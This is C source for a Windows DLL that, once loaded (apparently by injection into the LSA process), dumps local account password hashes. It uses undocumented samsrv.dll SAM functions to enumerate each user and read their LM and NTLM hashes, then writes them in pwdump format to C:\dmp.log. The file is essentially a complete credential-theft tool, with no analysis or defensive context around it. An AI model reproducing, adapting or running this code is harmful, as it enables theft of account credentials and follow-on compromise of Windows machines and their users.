#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Ntsecapi.h>

#define STATUS_SUCCESS 0x00000000L
#define SAM_USER_INFO_PASSWORD_OWFS 0x12
#define STATUS_MORE_ENTRIES 0x00000105L


typedef struct _sam_user_info {
    DWORD rid;
    LSA_UNICODE_STRING name;
} SAM_USER_INFO;

typedef struct _sam_user_enum {
    DWORD count;
    SAM_USER_INFO *users;
} SAM_USER_ENUM;

typedef DWORD HSAM,HDOMAIN,HUSER;

typedef LONG NTSTATUS, *PNTSTATUS;


typedef NTSTATUS (__stdcall *SAMICONNECT)(DWORD,HSAM*,DWORD,DWORD);
typedef NTSTATUS (__stdcall *SAMOPENDOMAIN)(HSAM, DWORD dwAccess, PSID, HDOMAIN*);
typedef NTSTATUS (__stdcall *SAMENUMUSERSDOMAIN)(HDOMAIN, DWORD*, DWORD, SAM_USER_ENUM**, DWORD, PVOID);
typedef NTSTATUS (__stdcall *SAMOPENUSER)(HDOMAIN, DWORD dwAccess, DWORD, HUSER*);
typedef NTSTATUS (__stdcall *SAMINFOSUSER)(HUSER, DWORD, PVOID);
typedef NTSTATUS (__stdcall *SAMFREEINFOS)(PVOID, DWORD);
typedef NTSTATUS (__stdcall *SAMFREEENUMERATION)(SAM_USER_ENUM*);
typedef NTSTATUS (__stdcall *SAMCLOSE)(PDWORD);


BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
    if(dwReason == DLL_PROCESS_ATTACH)
    {
        DWORD enumNbr = 0,numRet = 0;
        HSAM handleSam = 0;
        HMODULE samsrvDll = LoadLibrary("samsrv.dll");
        HDOMAIN handleDomain = 0;
        HUSER handleUser = 0;
        SAM_USER_ENUM* ptrStructSAM = NULL;

        SAMICONNECT samIConnect = (SAMICONNECT)GetProcAddress(samsrvDll,"SamIConnect");
        SAMOPENDOMAIN samOpenDomain = (SAMOPENDOMAIN)GetProcAddress(samsrvDll,"SamrOpenDomain");
        SAMENUMUSERSDOMAIN samEnumUsersDomain = (SAMENUMUSERSDOMAIN)GetProcAddress(samsrvDll,"SamrEnumerateUsersInDomain");

        SAMOPENUSER samOpenUser = (SAMOPENUSER)GetProcAddress(samsrvDll,"SamrOpenUser");
        SAMINFOSUSER samQueryInfosUser = (SAMINFOSUSER)GetProcAddress(samsrvDll,"SamrQueryInformationUser");

        SAMCLOSE samClose = (SAMCLOSE)GetProcAddress(samsrvDll,"SamrCloseHandle");
        SAMFREEENUMERATION SamIFree_SAMPR_ENUMERATION_BUFFER = (SAMFREEENUMERATION)GetProcAddress(samsrvDll,"SamIFree_SAMPR_ENUMERATION_BUFFER");
        SAMFREEINFOS SamIFree_SAMPR_USER_INFO_BUFFER = (SAMFREEINFOS)GetProcAddress(samsrvDll,"SamIFree_SAMPR_USER_INFO_BUFFER");

        if( (samOpenUser == NULL) || (samIConnect == NULL) || (samOpenDomain == NULL) || (samEnumUsersDomain == NULL) || (SamIFree_SAMPR_ENUMERATION_BUFFER == NULL) )
        {
            OutputDebugString("ERROR.");
        }

        LSA_OBJECT_ATTRIBUTES connectionAttrib;
        LSA_HANDLE handlePolicy;
        PPOLICY_ACCOUNT_DOMAIN_INFO structInfoPolicy;// -> http://msdn2.microsoft.com/en-us/library/ms721895(VS.85).aspx.

        memset(&connectionAttrib,0,sizeof(LSA_OBJECT_ATTRIBUTES));
        connectionAttrib.Length = sizeof(LSA_OBJECT_ATTRIBUTES);

        NTSTATUS retour = LsaOpenPolicy(NULL,&connectionAttrib,POLICY_ALL_ACCESS,&handlePolicy) , retourEnum;

        if(retour == STATUS_SUCCESS)
        {

            retour = LsaQueryInformationPolicy(handlePolicy , PolicyAccountDomainInformation , (PVOID*)&structInfoPolicy); //LsaQueryInformationPolicy  -> http://msdn2.microsoft.com/en-us/library/aa378313(VS.85).aspx.

            if(retour == STATUS_SUCCESS)
            {

                retour = samIConnect(0 , &handleSam , MAXIMUM_ALLOWED , 1);

                if(retour == STATUS_SUCCESS)
                {
                    retour = samOpenDomain(handleSam , 0xf07ff , structInfoPolicy->DomainSid , &handleDomain);

                    if(retour == STATUS_SUCCESS)
                    {
                        FILE* fp = fopen("C:\\dmp.log","w");

						do
                        {
                            retourEnum = samEnumUsersDomain(handleDomain , &enumNbr , 0 , &ptrStructSAM , 1000 , &numRet);
                            int i;

                            for(i = 0; i < (int)numRet ; i++)
                            {
                                PBYTE ptrUserInfo = NULL;

                                retour = samOpenUser(handleDomain , MAXIMUM_ALLOWED , ptrStructSAM->users[i].rid , &handleUser);
                                retour = samQueryInfosUser(handleUser , SAM_USER_INFO_PASSWORD_OWFS , &ptrUserInfo);

                                /*
                                typedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;

                                typedef struct _UNICODE_STRING {
                                USHORT Length;
                                USHORT MaximumLength;
                                PWSTR Buffer;
                                } UNICODE_STRING, *PUNICODE_STRING;
                                */

                                char buff[1024];
                                WideCharToMultiByte(CP_ACP,0,ptrStructSAM->users[i].name.Buffer,-1,buff,sizeof(buff),0,0);
								fprintf(fp,"%s:\"\":\"\":",buff);
                                memset(buff,0,sizeof(buff));

                                int i2;
                                for(i2 = 16; i2 < 32 ; i2++)
                                {
                                    fprintf(fp,"%02x",ptrUserInfo[i2]);
                                }

								  fputc(':',fp);

								for(i2 = 0 ; i2 < 16 ; i2++)
                                {
                                    fprintf(fp,"%02x",ptrUserInfo[i2]);
                                }

								  fputc('\n',fp);
								//Pour le hash ntlm, ptrUserInfos[0] -> ptrUserInfo[15]

                                SamIFree_SAMPR_USER_INFO_BUFFER(ptrUserInfo,SAM_USER_INFO_PASSWORD_OWFS);
                                samClose(&handleUser);
                                handleUser = 0;
                            }


                            SamIFree_SAMPR_ENUMERATION_BUFFER(ptrStructSAM);
                            ptrStructSAM = NULL;
                        }while(retourEnum == STATUS_MORE_ENTRIES);

						fclose(fp);
					}
                }
            }
        }

        LsaClose(handlePolicy);
    }
    return FALSE;
}